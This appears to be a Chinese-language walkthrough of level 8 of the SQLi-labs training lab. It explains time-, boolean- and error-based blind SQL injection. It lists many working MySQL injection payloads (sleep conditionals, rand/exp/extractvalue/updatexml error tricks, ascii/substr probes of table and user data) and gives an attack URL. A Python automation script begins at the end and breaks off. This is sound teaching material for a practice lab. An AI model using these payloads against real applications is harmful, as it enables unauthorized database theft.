第 8 关来到了盲注
首先得介绍盲注相关知识:
什么是盲注?
盲注就是在 sql 注入过程中数据不能回显到前端页面。此时,我们就要猜,猜的过程就是盲注。
盲注的类型有哪些?
- 基于时间的盲注
- 基于布尔的盲注
- 基于报错的盲注
对三类盲注的详细说明
- 基于时间,怎么个基于时间?其实就是也有点布尔的意思,并且还需要结合布尔,如果我这样注入,猜测是对是错,由时间来做抉择,如果是对,延迟几秒再显示页面,如果是错,就正常显示页面。
- 基于布尔,怎么个基于布尔?其实跟时间很像,只不过做裁决的不再是时间,而是返回的数据本身,比如,我查ABC这一数据,问第一个字母的 ASCII 值是不是大于 100 ,如果正确,页面就会显示 you are in…,如果错误就什么都不显示。
- 基于报错,其实基于报错有点类似与第五第六关,通过一些函数特性报错得到需要的结果
各类盲注的详细运用
-
基于时间
if 判断语句,如果条件为真,执行 sleep
if(ascii(substr(database(),1,1))>115,sleep(5),0)%23
-
基于报错
select count(*) from information_schema.tables group by concat((select database()),floor(rand()*2))
这是由 5.6 关卡的payload简化而来的
如果关键的表[information_schema.tables]被禁用了,可以使用:
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand()*2))
如果rand被禁用了,可以使用用户变量来报错:
select min(@a:=1) from information_schema.tables group by concat(password,@a:(@a+1)%2)
还可以利用double数值类型超出范围,exp() 为以 e 为底的对数函数,mysql 版本需为 5.5.5 及其以上
select exp(~(select * from(select user())a))`
利用 mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
extractvalue(1,concat(0x7e,(select @@version),0x7e))
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
-
基于布尔
database():显示数据库名称 left(a,b) 从左侧截取 a 的前 b 位
left(database(),1)>'s'
substr(a,b,c):从 b 位置开始截取 a 字符串的 c 长度,ascii():将某个字符串转化为 ascii 值
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
ord():同substr(),mid():同ascii()
ORD(MID((select IFNULL(CAST(usernames as char),0x20)from security.users order by id limit 0,1),1,1))>98%23
利用 mysql 重复特性,此处重复了 version(),所以报错
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
!!!
一些常用的ascii值:A:65, Z:90, a:97, z:122, 0:48, 9:57
!!!
下面开始进入关卡:
界面显示要你构造 ID,构造后只显示 You are in… 并不回显内容,所以只能盲注:
http://sqlilabs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>96,1,0)--+
…由于盲注太过繁琐,我们可以编写脚本来实现盲注:
实现了基本功能import requests
import sys
import timequote_one = 0
quote_double = 0
twist = 0
table_numb